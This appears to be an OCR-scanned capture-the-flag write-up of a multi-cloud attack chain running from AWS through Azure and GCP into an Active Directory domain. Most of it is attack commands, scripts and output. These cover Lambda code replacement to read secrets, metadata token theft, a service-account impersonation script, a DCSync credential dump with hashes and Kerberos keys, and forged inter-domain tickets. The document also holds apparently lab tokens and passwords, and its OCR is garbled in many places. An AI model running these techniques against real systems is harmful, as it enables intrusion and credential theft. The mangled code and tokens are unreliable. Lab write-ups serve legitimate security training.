sha+sjQeA8LUBmhaueXLWSJyel4E7I8dCcFrLgZ8RFOY08r5XDwA7pYeM7XKQKkwlrjLwQY6sAF5y6dXiXK/GLEVNVOYUmGXelZP7Iu
RZDKuctJjs+w7uQRrlaBTMc/vIPSZ/MLJICRFrXHUgKkTGIRDGhb88DAU7iC7LhfVCFfyGrmbU9i+0LE28hRIZzcEmMLSF2JtKW+QePXI
5jbouIUABSUeNErYKHTzLO1pOux8¢G/okkMeh1K8103fZ3UP0SieBVi3HbYpMfUg/8xQo0DMVIi2TutOLagdLq071fh8WPKYRjrow
112aA==

2025-05-25 12:17:29,300 - 105334 - [INFO] Starting permission enumeration for access-key-id
"ASTAWRRS6VUEKD5CS6DK"

2025-05-25 12:17:31,514 - 105334 — [INFO] —-- Account ARN arn:aws:sts: :450004692744 : assumed-
role/EC2RoleldScenario/i-005645239d216fb5e

2025-05-25 12:17:31,515 - 105334 - [INFO] -- Account Id 450004692744

2025-05-25 12:17:31,515 - 105334 - [INFO] —- Account Path: assumed-role/EC2RoleldScenario/i-
005645239d216fb5e

2025-05-25 12:17:34,016 - 105334 - [INFO] Attempting common-service describe / list brute force.
2025-05-25 12:17:36,382 - 105334 — [INFO] -- sts.get_caller_identity() worked!



2025-05-25 12:17:39,738 - 105334 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes
action

2025-05-25 12:17:46,565 - 105334 - [INFO] —-- dynamodb.describe_endpoints() worked!

2025-05-25 12:17:57,799 - 105334 - [INFO] —- lambda.list_functions() worked!

2025-05-25 12:17:58,535 - 105334 - [INFO] —- lambda.list_functions() worked!

As you can see above i can now access lambda functions.

Using the following sets of commands i can update the code and run the lambda function "ReadSecrets4Fox" which is our
intended target .

aws lambda update-function-code -—function-name ReadSecretstfox --zip-file fileb://./test.zip

aws lambda invoke -—function-name ReadSecretstfox -—payload "{}" output.json

The code in the lambda function is a python script that reads data from and S3 bucket stacamulagionova.

import boto3
import base6d

s3 = boto3.client('s3')
bucket_name = "stacamulagionova"

def (event, context):
try:
response = s3.list_objects_v2(Bucket=bucket_name)

if 'Contents' not in response:
return {"message": f"No objects found in bucket '{bucket_name}'"}

results = {}
for obj in response['Contents']:
key = obj['Key']
try:
file_obj = s3.get_object(Bucket=bucket_name, Key=key)
binary_content = file_obj['Body'].read()
encoded_content = base64.b6ldencode(binary_content).decode('utf-8")
results[key] = encoded_content
except Exception as e:
results[key] = f"[ERROR reading file: {str(e)}]"

return results

except Exception as e:
return {"error": (e}

The data we receive includes the following message.

To verify the integration between the production servers on Public Cloud, use
https://akunamatatapirolapirola.azurewebsites.net.



Be careful with systems containing PII. Probably the system is busy, please be patient and wait you
turn to enjoy.

Get your Tokens!!!
ref: https://akunamatatapirolapirola.azurewebsites.net/uploads/akunamatatapirolapirolatoken.php

pass: is stored in a Secret readable from the same Lambda function; secrets is
akunamatatapirolapirola-CYIjOl

This indicates that there is a secret with the key "akunamatatapirolapirola" in AWS secretsmanager.

This can be read using.

aws secretsmanager get-secret-value \
——secret-id akunamatatapirolapirola

{"akunamatatapirolapirolapass":"56rtfé6yugbu(/(dytvhbjkh76(/UFGIVBJ"}

This is the password for the website
https://akunamatatapirolapirola.azurewebsites.net/uploads/akunamatatapirolapirolatoken.php

Which gives us azure tokens.

https://management.azure.com

eyJ0eXAiOiJKV 1QIiLCIhbGciOiJSUZI I NilsIng1dCISIKNOdjBPSTNSd3FsSEZF VmShb01Bc2hDSDIYRSISImtpZ CIGIKNOdjBPS TNSA3FsSEZFVm5hb01Bc2hDSDIYRSJ9.eyJhdWQiOiJodHRwezovL2 1hbm
FnZW11bnQuYXp lcmUuY 29tliwiaXNzljoiaHR OcHM6Ly9zdHMud2luZG93cy5uZXQvMDRkYzk3NjUtMjM1Zi00Y WMyLWJjOTctNTNkZjU3 Ym Y zZMTNmLyIsIm hd CIEMTc0O TkwMjUwMiwibmJmIjox
NzQS5O0TAYNTAYLCJleHAiOjE3NDkSODkyMDIsImFpbyI6ImsyUmdZ T2ptdnY3 Vk9iNO5SSRXT5em01T315cHZBQT09Iiwi Y XBwaW QiOiJkKNGU4ZGQyMS 1jNWISLTQyOTAtY WRmOCOwWMDg3MTU3Mm
IXYWYiLCJhcHBpZGFjcil6[jliLCIpZHAiOiJodHRwczovL.3N0cy53aW5kb3dzL m51dC8WNGRjOTc2NSOyMzVmL TRh Y zZIt YmM5Ny0 IM2RmNTdiZjMxM2 YvIiwiaWR0eX AiOiThcHAIL CIvaWQiOi 7k
YmJiZi03ZDYOLTQIN2EtY WZIYS ImMGI5ZjkIMDcwZ TAILCJyaCI6JEuQVU4QVpaZmNCRjhqd2txOG ZWNzh4UDBaSWYza0F 1dGRQdWtQYXdmaj INQk0tQVFCUEFBLiIsInN1Yil6[jjNmRiY
mJmLTdkNjQINDU3YS1hZmVhIWYwYjlmOTUwWNZBIMCISInRpZCI6[jAOZGMSNzY 1LTIZNWY tNGFjMiliYzk3LTUZZGY IN2JmMZzEZzZilsInV0aSI61IZNRmRENFR1eDBTWTEQODVXVZBLQUEILCJ
2ZXTOIIXLjAILCJ4bXN{ZnRkIjoiNkICT3JiR3VyMOF4 VkpvSE45SMOM2VThQMVFsc2V2QVc4dzI1QVpIWXVhQUIKkWE 5sWVhOMExXUnpi WEOILCJ4bXNfaWRyZ WwiOilyMiA3liwieG 1zX2 1 pcmlkIjoi
L3N1YnNjecmlwdGlvbnMvZWU1OGESY TgtZDI4Ny00Y zlj LWFmZjgtZmEwMzAwZWE3NjU0L3J1c291¢cmNIZ3JvdXBzL3ZwbnInL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL2FrdWShbWF0Y
XRhcGlyb2xhcGlyb2xhliwieG1zX3JkIjoiMC40Mkxs WUJKaTICY 1IMOZUFVRXZqSWtmMTdXZEVmOTZrVEJleWprbDRfQjRweUNBbTRIZFTY TXV5NjdyX 0wtZGICSDk4 TWhBRSIsInhtc190Y2R0IjoiM
TYzODAyNTkzMSJ9 XVEN4aQHezF Gp51B1AXuTdqGvmg-4Qrr3_utf720-PCYMLuUUIPXDDkoyMbdNb87CIpQDEjrdHiToaCm9OTQIN_qkatOZ-IEYAPxhtQXESt38R-

izcIvA4TaB6my9J1rsMgSCVvQpnglc6rddRvBvVP PX-Pqkd9WiVULY toP60eGEqmgE3xDav0ZKGwhul LG2yP5P30elSkuhaeWgiz9jgXn LKBxUH1kgw6MKKVE30B-BzzL0053L5uVvUeZnU-
xXXzJ8IApGaU-bchd AMIsQUOfFMOIUGM-7LO5 ZrEMSdZPEWjna5e7dNJ7K97nQenlJLoaCUIXL539r15nSX2g

Bearer
d4e8dd21-c5b9-4290-adf8-00871572blaf

https://vault.azure.net

eyJ0eXAiOiJKV 1QiLCIhbGciOiJSUZI I NilsIng1dCI6IkKNOdjBPSTNSd3FsSEZF VmShb01Bc2hDSDIYRSIsImtpZ CI6IKNOdjBPS TNSd3FsSEZFVm5hb0 1 Bc2hDSDIYRS19.eyThdWQiOiJjZmE4YjMzOS04M
OwZmMwYmU3YTQwOTMILCJIpc3MiOiJodHRwczovL3 53aW5kb3dzLm51dC8WNGRjOTc2NSOyMzVmLTRhYZItY mM5Ny01M2RmNTdiZjMxM2 YvIiwiaWF0LjoxNzQ50T

3NDkSMDIIMDMsImV4cCI6MTc00Tk4OTIwMywiY WivIjoiaz]SZ110aDIMUFduU2JYcXRTMHZHbmpGdmsvNUFBQTO0iLCIhcHBpZCI6ImQOZThkZDIXIL. WM1 Y jktNDISMC1hZ

GY4LTAWODcxNTcy YjFhZilsImFwcGIKY WNyTjoiMilsImlkcCI6 Imh0dHBzOi8ve3RzLndpbmRvd3Mubm VOLZA0ZGMSNzY 1LTIZNWYINGFjMiliYZk3LTUZZGY I N2JmMZzEzZi8iLCIpZHR 5cCI6ImFwcC

IsIm9pZCI6iNmR1 Y mImL TdkNjQINDU3Y S 1hZmVhL WYwYjlmOTUwNzBIMCIsInJoljoiMS 5SBVThBWIpm Y 0JGOGp32a3E4bDFQZ1Y 30HhQem16cU0taWdocEhvOGtQdOw INIFK TS 1BUUJQQUEuliwi

c3ViljoiOWM2ZGIiYm 2Q2NCOONTAhLWFmZWEZjBiOWY 5NTA3MGUwIiwidGlkIjoiMDRKY zk3NjUIMjM1Zi00Y WMyLWJjOTcINTNKZjU3YmY zM TNmIiwidXRpljoiVk1 GZEQOVHVAMFNZMT

QANWhHMEBQSIsInZIcil6jEuMCIsInhtc 19mdGQiOiINMmR vZEJyOUpuQS01Syl EOXdTVk1ueEN6X0Q5eXpLWWVPQXpPbmImdnQwQmRY TmxZWE4wTFdSemIY TSIsInhtc 19pZHIIbCI6])

tc19taXJpZCI61i92dWJzY 3JpcHRpb25zL2 VINThhOWE4ALWQyODctNGMS Yy lhZmY:

y9ha3VuYW1hdGFOYXBpcm9sYXBpem9sY SIsInhtc19yZCI6[jAuNDIMbFICSmkSQmNTNGVBVUVQZ3c0Znh6cmdmTFBCWU Vix fdEp2

JHUq6Q5a9IqYKCO 2rb8zQDybYWA. u9gj-rO5cmQHGFg4-c8KS8tdxyGRKPOXQZAYp4dgylaz9ftexoGOmAaSMHQUPID]ZqZwPPbrvUY2ZP-

ORK2P1tMlezWuSo75QhnsudJD7w9fgsncwoge A26B2RXAEN VMg VUALUZZIWtuw39UzsNg6F IDPA92KSLKITi6vxviGQX7Hy9iSy7dI 1 fcisWyzZNE TP

These tokens will be used in the next section AZURE.

AZURE

Using the tokens from the previous section AVWVS we can now access azure management API.

Using the token as an authorization cookie we can be able to interact with the API using tools such as curl, burp-suite or
postman.

| used the following custom tool to do the enumeration GOCLOUDGHOST



https://akunamatatapirolapirola.azurewebsites.net/uploads/akunamatatapirolapirolatoken.php
https://github.com/f0rk3b0mb/GoCloudGhost

Using the above tool we can enumerate azure management API and extract blobs from azure blob storage which was the
target.

GoCloudGhost allows you to authenticate with cloud and enumerate when testing cloud security.

Usage:
GoCloudGhost [command]

Available Commands:
blob Interact with Azure Blob Storage
completion Generate the autocompletion script for the specified shell
Help about any

management Enumerate Azure Management API resources

Flags:
-h, ——help for GoCloudGhost

Use "GoCloudGhost [command] —-help" for information about a command.

We get these 3 files , the google_creds.txt contain a username and pass to login via ssh to GCP compute instance.

gcp-k-426109-32aec37bbb8c.json
google_creds.txt
info.txt

10.7.0.1; cloudadmin; 57689IHFR&(T/)tgu7vb)/((FYV; ecdh-sha2-nistp521

Using these creds we can proceed to the next section GCP.

GCP

In this section we have access to a GCP compute instance. There is no need to enumerate the account according to this
note.

For Technical staff:

The compute unit gcp-server-02 is powered off. To turn it on, use the service account key. It only
performs the startup—nothing else.

Don’t worry, it will automatically shut down every 5 minutes. Don't forget to power on AWS server

before, they are linked with a VPN point-to-point

1. $ aws ec2 start-instances —-instance-ids i-005645239d216fb5e --region us-east-1
2. $ gcloud compute instances start gcp-server-02 ——zone=us-centrall-a

*fox

Connecting to the instance using this command since its not the deafult ssh encrytion algorith

ssh —-o KexAlgorithms=ecdh-sha2-nistp521 cloudadmin@l0.7.0.1

Starting the instance and looking around | can see nothing interesting.



So again | try to get access-tokens from meradata, this can be achieved by making a curl request like so.

curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/vl/instance/service-accounts/redlab-access@gcp-k-
U426109.iam.gserviceaccount.com/token"

Using the acquired token i can try and impersonate other service accounts. This can be automated using the following
python script.

import requests

import json

PROJECT_ID = "gcp-k-426109"

ACCESS_TOKEN =
"ya29.c.cOASRKOGZ5gx0psIQIwnmEIGYMTVM66qPKKs96w3acd9a5ETeTqLdTcWvHdrToXVnPiWQYcdHwgFaP1IvSKuRX0rwvKBA
nIYX2-
uIBVOBvqSjg_c3UHAAGael5IfJCwgzFgzDzrf2AUFsFgriurClRZ5gY_uaSvriWJvpoGRNg5bhowFyZDMdj6MKk53qenjJrhySq91C9
umgcJoENGKJIbBF1aMfxHDCM96emgw3QQxzPmrDWfumY+_QC606n9YuOxUxS1ScE9p6AOPcZBwcq8Rd9Djg_ezW3zSYpoDLEwWGWYat
0TosbUBUKZY82AUyHZKkffG221xxf9j7_FHHOd_BImCU4CtUn_VgFU4TmkGM20V7rQ5ChOHUZ9bd10fREah12USKUMOISWO6UNTZZOWF
alcrUxhKisdsSWNGOPErSNgUf685ATmO_Gw—7unROvIU8ziJ_Zun_cCmj5x871DBr6IGYpffU+fKwSUQOruhDSLNiY5-
WbOWATTHUid3J03wlr1JAldv9xFRzDrewGb5QgfOdwm—
XTomMYOzVPmX4nkRVPYKr_1HitQjoyDgcvUlh69IU001sRSs7KAT595DQLSXwgdInyZWbkidYgimrQov1JiOnjnBZ1Z__W3UgpOxJ
sdeBn6r08SwmalnFehvRwYzykU5ZMReYdR_263yRq2pVtSZQV1skRobyXoS12UjIUcWIuMahl10YVu7rWidnZ7nUlmpX6Sn_JBmro
q_f8912Xyngl5ssQoMu__fhZd26SsY6yI8SU9XsZya_IRulUJ81QISBytbthOBvs9goOMvIms6qf2iYieXqlZVX_zbFzXRdfaqo6—
nlexhsqkYfn7My3yiOmka——iSbvI1VfvntSXmiRV6yczBaFY09eMp-i2Fiujd-
tQSjxkupJ0zXVeUMQru33d3bulWyu8tZRaOhhUR7jcInucVrVphdW8UnnYYO0sBqrVg6Flm_0510vFO0JIKkz8uyIFmwFv80aBpyX0iym
OwhgmulluJ8qb"

IAM_LIST_URL = f"https://iam.googleapis.com/v1l/projects/{PROJECT_ID}/serviceAccounts"

IAM_TOKEN_URL =
"https://iamcredentials.googleapis.com/v1l/projects/—-/serviceAccounts/{email}:generateAccessToken"

COMPUTE_LIST_URL =
f"https://compute.googleapis.com/compute/vl/projects/{PROJECT_ID}/aggregated/instances"

COMPUTE_AGG_URL =
f"https://compute.googleapis.com/compute/vl/projects/{PROJECT_ID}/aggregated/instances"

BASE_HEADERS = {
"Authorization": f"Bearer {ACCESS_TOKEN}",

"Content-Type": "application/json"



def list_service_accounts():
res = requests.get(IAM_LIST_URL, headers=BASE_HEADERS)
if res.status_code != 200:
print("[-] Failed to list service accounts")
print(res.text)
return []
data = res.json()

return [acct['email'] for acct in data.get('accounts', [1)]

def impersonate_sa(sa_email):
url = TAM_TOKEN_URL.format(email=sa_email)
payload = {

"scope": ["https://www.googleapis.com/auth/cloud-platform"]

res = requests.post(url, headers=BASE_HEADERS, json=payload)
if res.status_code == 200:
token = res.json().get("accessToken")
print(f"[+] Impersonation SUCCESS for {sa_email}l")
print(f"[+] Access Token: {token}")
return token
else:
print(f"[-] Impersonation FAILED for {sa_email}: {res.status_codel}")

return None

def main():
accounts = list_service_accounts()

print(f"\n[!] Found {len(accounts)} service accounts.\n")



for email in accounts:
print(f"\n[*] Impersonating: {email}")

token = impersonate_sa(email)

if __name__ == "__main__":

main()

Impersonation of service account redlabforwarder@gcp-k-426109.iam.gserviceaccount.com is successful. But there is no
special permission so i run the script again using redlabforwarder service account token.

| get successful impersonation of redlabdeleg@gcp-k-426109.iam.gserviceaccount.com. Who has higher privileges and
can describe all compute instances , this account can also list storage buckets. The following script can be used to test
permission of the access-token.

import requests

# === CONFIG ===

PROJECT_ID = "gcp-k-426109"

IMP_TOKEN = "ya29.c.cOASRKOGahvwNV2h5DvmxEPorl1kBzJhr3EBHBAATamD6DMtq32mxeubHQzTRBaSBOS1iNrnbrQRQy—
IOw401S2GiBNawazJjVPIEOpU46SM_GKPfeQsxyDUozLc17¢q3a0IEPSCz0AY792EFEGgn9xgCTNPgahYhnf7mxn8;jpz2aVpOmCUlum
CPqI5AwUfBcenrHdkTDzNctxH-7FpoNjfLRK37vmnEUx7CsIvpvPMx0Amdy2cRWGIEVcyEtUb_tm—
7eTvQscYHIYCql8yIp33FScOPuabXLfDzTma7PQZB-1RDLtVsb7qilgaIcxSKDh1FUW2KE2I39L7pm—
QW1zORD5NSuflHdaPYbaTKAoLVPkh-pDGL1KKpLymjlPvSa8BS227_CjXra6pJ-
jPAFAuUTVBOFdJoKSOrmgEEmGIw3FZxorONpeghj3gel _PNBSlr6a6S0ltRq5H601hfaxtqxV3allvyleFGBU4KO8ocBTHKhrbXGt—
6PXpWkgMmEuleuedOMWNo4n1VGSOjEDPcPr7CBLbVMClyTZVv6I6WasQfEXFpyOt2qs_DVNsxilUaOC—
BXSXJ1YSv1YzdhZsbAQARb+784QgIpGWF4il3T621A1c3S9X6KkufuBURjsOmZqvz3BXa5S3p0StydIwWt5ZB8kt ju6dVUOFV0QZq7U
QYpQ8fBdgsbn187wv5wRy-WcIB72QMIk6vOqgexdS6ktmgrbnaa5vFUUB8Xjc6JQtaYkqYkU75QqgJIhVnXJeaZUV1J9c6me—
5aZgsdBRorVdlrxp2ymé6dZyhnidj_1nRfOvedkl19mYWkMvUWqzdFevl73w—
04ZufhqBOxBclsIm8z6u7ykkoz29b2IRU38war9b9ffoS9aniXyFU6UF jrMstsZ0b_r0aMRzgQVSsMolvlIkkXelj6UBvaS95U7al
6e_Z3sWzMtishvaxJdlgquV55qnnBzV3xkquehMoyh7Wpvo5U8fxrvFgbUsVp_tFMs3UoQQQkbYVpRFnZ4cbw"

HEADERS = {"Authorization": f"Bearer {IMP_TOKEN}", "Content-Type": "application/json"}

# Utility to test a GET endpoint
def test_api(name, url):
print(f"> Testing {name}...")
r = requests.get(url, headers=HEADERS)
code = r.status_code
if code == 200:
print(f" {name}: OK")
elif code == 40O3:
print(f" X {name}: Forbidden (needs permission)")
elif code == u4O4:
print(f" A {name}: Not found (maybe API not enabled)")
else:
print(f" ? {name}: HTTP {code}")

# List enabled APIs

def list_enabled_apis():
url = f"https://serviceusage.googleapis.com/v1l/projects/{PROJECT_ID}/services"
r = requests.get(url, headers=HEADERS)
if r.ok:
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services = r.json().get("services", [])
print("\nEnabled APIs:")
for s in services:
print(" ", s["config"]["name"])
else:
print("Failed to list enabled APIs")

def main():
print("\n® Checking enabled APIs...")
list_enabled_apis()

print("\n Testing GCP API access:")

test_api("Compute: list instances",
f"https://compute.googleapis.com/compute/vl/projects/{PROJECT_ID}/aggregated/instances")

test_api("Storage: list buckets",
f"https://storage.googleapis.com/storage/vl/b?project={PROJECT_ID}")

test_api("Cloud Functions: list",
f"https://cloudfunctions.googleapis.com/vl/projects/{PROJECT_ID}/locations/~/functions")

test_api("Cloud Run: list services",
f"https://run.googleapis.com/vl/projects/{PROJECT_ID}/locations/-/services")

test_api("BigQuery: list datasets",
f"https://bigquery.googleapis.com/bigquery/v2/projects/{PROJECT_ID}/datasets")

if __name__ == "__main__":
main()

In one of the compute instances labels we get creds for a user moana on domain HIDDEN.LOC

"labels": {
"goog-ops—agent-policy": "v2-x86-template-1-4-0",
"datacenter_domain_name": "hidden",
"datacenter_domain_ext": "loc",
"datacenter_user": "moana",
"datacenter_pass": "datacenter_pass_file",

"datacenter_net": "10_0_4_0-24",

"moana_pwd": "pOzz1lOv3_3_"

From here we can proceed to the last section HIDDEN.LOC.

HIDDEN.LOC

Using the credentials from GCP we can be able to enumerate the domain hidden.loc
A pivot from DEEP.LOC will enable connection to the network 10.0.4.0/24
The hosts on this domain:

10.0.2.73 dc.hiddden.loc
10.0.4.75 finish.hidden.loc

Using these creds we can get a bloodhound snapshot.



"labels": {
"goog-ops—agent-policy": "v2-x86-template-1-4-0",
"datacenter_domain_name": "hidden",
"datacenter_domain_ext": "loc",
"datacenter_user": "moana",
"datacenter_pass": "datacenter_pass_file",
"datacenter_net": "10_0_4_0-24",
"moana_pwd": "pOzz1lOv3_3_"

Our current user moana has DCSYNC rights on domain DEEP.LOC.

= MOANA@HIDDEN.LOC

DEEP.LOC

OANA@HIDDEN.LOC

DEEP.LOC

Raw Query

This means we can dump secrets from dc.deep.loc.

impacket-secretsdump hidden.loc/moana: 'p0zz110v3_3_'@dc2.deep.loc
Impacket v0.13.0.dev0@ - Copyright Fortra, LLC and its affiliated companies

[-]1 RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3bu35b5140Ueeaad3bu35b51U0Uee:7a93fdab62be31fb63Ufd6aec6a99694: : :
Guest:501:aad3bu35b5140Uecaad3bu35b51U40Uee:31d6cfe0d16ae931b73c59d7e0cO089cO: : :
krbtgt:502:aad3bu35b5140Ueeaad3bu35b5140Uee: 4d81715+21a25122c89bUd0d2Ufe67c8: : :
clouduser:1104:aad3bu35b5140Udeeaad3bU35b51U40Uee:6cla9d7ebb5b0e3cd12998b6aflaa835: : :
admincloud:1107:aad3bu35b5140Ueecaad3buy35b51U0Uee:514aa5d1251073F822feeeb8f6fU673cC: : :
barbarella:1108:aad3bud35b5140Udeeaad3bUd35b51U40Uee:5462132f5c000a9050Udafal2lcefl3f3:::
missy:1109:aad3bu35b51404eecaad3bu35b5140Uee:5462132f5c000a90504afal2lcefl3f3: ::
sgombro:1110:aad3bu35b5140U4eeaad3bU35b51U40Uee:5462132f5c000a90504afal2lcefl3f3:::
tarallo:1602:aad3bu35b51U40Ueecaad3bu35b51U0Uee:181f3¢c8b9c60e5139F52866ca0773uul: : :
DC2$:1000:aad3bu435b51404eeaad3bu35b51404ee:979b10d07F61fae7133d3870a82dd80F: : :
CLOUD$:1105:aad3bu35b51404eecaad3buy35b5140Uee :0e59bcd1da5b0da996b8f95f0f0duUf3c: : :
serviziolo$:1606:aad3bu35b51404eecaad3bu35b5140Uee:d7a27146c27d02343cd70F382e0761b2: : :
AIdom$:1103:aad3bu35b51404eecaad3buy35b51U0Uee: ef62c335161F9cdd91e3a99c5e4f0c5: : :
HIDDEN$:1601:aad3bu35b51404eeaad3by35b5140Uee:11d51802c6886F38ab5bfd88uf9e55uUc: : :



[*] Kerberos keys grabbed

Administrator:aes256—-cts—hmac-shal-
96:8d8b6clc60dUO9bUCcb56U458618d018f7eal2a5df6dec62d65edc6e512020d3b5
Administrator:aesl28-cts—hmac-shal-96:95cf7c5a29df3U4aed62266660a297e0c
Administrator:des-cbc-md5:d3ab6ebffeb908da
krbtgt:aes256-cts—hmac-shal-96:0d8c92459d79cuf9c89058cf6efcbc01326dfcdd59fbaa5b0af016016e7e8c9b
krbtgt:aesl128-cts-hmac-shal-96:5836a222d707add75f158f8ec6db2dba
krbtgt:des—cbc-md5:01490e672054107c
clouduser:aes256-cts-hmac-shal-96:439c22ea3bf935bb939575eb8389c13758uUbuULU2a9ce6302b177e668UbU8cOIba
clouduser:aesl28-cts—hmac-shal-96:e26alcd9b33a3332d6dedl8Uaelbb67e
clouduser:des-cbc—md5:9ealdbc923dfecd25
admincloud:aes256-cts—hmac-shal-96:d6fcceud8739cc30baSede2fablf7a78ba6368158c93206F07506ddfb056003cb
admincloud:aes128-cts—hmac-shal-96:c3b2fb0fabed9fcf57Ucl1117990c37d6
admincloud:des—cbc—md5:524940d9ad573ba2
barbarella:aes256-cts-hmac-shal-96:1a5b7e5e0Ubaf836952f823605914822321806021877c09f8U5e3695ddb26b2c
barbarella:aesl28-cts-hmac-shal-96:f8d6acdb7163245d5a84c1399b2d8c5f
barbarella:des-cbc-md5:57d6cdc8d9aU927f
missy:aes256-cts—hmac-shal-96:55U44eca08e025b26d88170669bfuU5ed6b3+d761524cb239ab+39e57d30F8a940
missy:aesl28-cts—hmac-shal-96:c980ea8ded72449a5beb2dacfb83f27a
missy:des—cbc-md5:a8e316cU41f32ce89
sgombro:aes256-cts—hmac—-shal-96:7d3b7552621c3049c1f941c5962e3cd7e0b62878eaca225ecd21191d1905bc0O9
sgombro:aesl28-cts—hmac—-shal-96:d921e0628be9b9bc6f2c03Uflcdf3bb76
sgombro:des—-cbc-md5:e929d507ae6445b3
tarallo:aes256—cts—hmac-shal-96:ef5cf805507ba21d9u42b793dc938c135feac0c957fU6d08d503c3d77badlb393
tarallo:aesl128-cts—hmac-shal-96:08add20ccUd67bc5d7fb6c189c6155abc
tarallo:des—-cbc-md5:6dU4c8fa7406b0dou
DC2$:aes256-cts—hmac-shal-96:c9ea3dal9ceccld257ba2d7e23884e81e6006075b2c2U215e862cd7575cad57u
DC2$:aes128-cts—hmac-shal-96:3800157435029df94c352U4b93fb650a3

DC2$:des—cbc-md5:386d851940F28a94

CLOUDS$ : aes256—cts—hmac-shal-96:58bde108f8d85ac7606ee13e50c89d1323e738751c93537d589c0b995d0aadu
CLOUD$:aes128-cts—hmac-shal-96:196e692dd9a3e0U454370e90fee0783ea

CLOUDS$ : des—cbc—-md5: f7ePeac80Lec7a9b
serviziolo$:aes256-cts—hmac-shal-96:9a8ea692fbla2alcc05c1013f6b80a70Ue30ef000cd51UeUfe350615ecbcadLUd
serviziolo$:aesl128-cts—hmac-shal-96:du50031e8cf3e7749496b5be2cb57f18
serviziolo$:des-cbc-md5:d9ea31673d0297ef
AIdom$:aes256—cts—hmac-shal-96:40e99a945ed7d5fb3b7uf0Ua2ud08ffadfbfc8cfbfuul9ad2abeclfc9d67262a0
AIdom$:aes128-cts—hmac-shal-96:c9aaf9a0c40d10a5b831bu9dcad375fe
AIdom$:des—cbc-md5:+8d392b6bfed0b37
HIDDEN$:aes256-cts—hmac—-shal-96:2390228d91382u44eal799d9e62b92697696ee8101143020dc6eecaede5cFfbu
HIDDEN$:aes128-cts—hmac—-shal-96:908cce0914f315b6087a217alal6uus2
HIDDEN$:des—-cbc-md5:836892a8e5164c52

[*] Cleaning up...

Since we need to jump from deep.loc to hidden.loc we need to exploit inter-domain trust relationship. We can get more
info on the trust between the two domain using

ldeep ldap —u moana -p 'p0zz110v3_3_' —-d hidden.loc -s ldap://10.0.4.73 trusts

It is a TREAT-AS-EXTERNAL bidirectional relationship.
This can be exploited by:

Requesting a trust token from deep.loc signed with the trust-key , included is a domain sid for a privileged domain
group on hidden.loc

Requesting a silver ticket for a service in domain hidden.loc

Access of pc finish.hidden.loc



The domain sid can be got using impacket-lookupsid, the rid is for a privilledged group javaadmins.

impacket-ticketer -domain-sid S-1-5-21-93u4653373-633404683-1800852919 -domain deep.loc —extra-sid S-
1-5-21-586632661-3622504965-2629678317-1604 -spn krbtgt/hidden.loc -nthash
11d51802c6886f38ab5bfd88uUf9e55uUc admincloud

impacket-getST -k —-no-pass -spn CIFS/finish.hidden.loc hidden.loc/admincloud@hidden.loc -debug

impacket-smbexec -k —-no-pass admincloud@finish.hidden.loc -dc-ip 10.0.2.73 -debug

Finally we can get the last flag.

20717-2442-19765-9439-13387

MITRE ATT&CK Techniques

Reconnaissance (TA0043)
Active Scanning_ (T1595)
Vulnerability Scan (T1595.002)

Discovery (TA0007)
Network Share Discovery (T1135)
Domain Trust Discovery (T1482)

Permission Groups Discovery (T1069)

Account Discovery (T1087)
Credential Access (TA0006)
Brute Force (T1110)
Password Cracking (T1110.002)
Steal or Forge Kerberos Tickets (T1558)
Silver Ticket (T1558.002)
Kerberoasting (T1558.003)

Lateral Movement (TA0008)
Exploitation of Remote Services (T1210)
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